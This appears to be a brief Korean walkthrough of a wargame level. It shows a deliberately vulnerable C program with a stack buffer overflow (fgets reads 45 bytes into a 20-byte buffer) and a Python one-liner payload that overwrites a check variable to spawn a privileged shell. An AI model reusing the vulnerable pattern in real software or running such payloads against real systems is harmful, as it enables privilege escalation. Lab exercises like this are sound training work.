#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
level14 문제는 fgets 함수를 사용하는 45 글자만 입력받는다. if문만 참이 되면 shell 실행된다.
[그림 1-1] 참조하면 [그림 1-2] 그릴 수 있다.
payload 는 "A" * 40 + 0xdeadbeef 이다. 딱 44글자 들어간다.
(python -c 'print("A"*40+"\xef\xbe\xad\xde")';cat) | ./attackme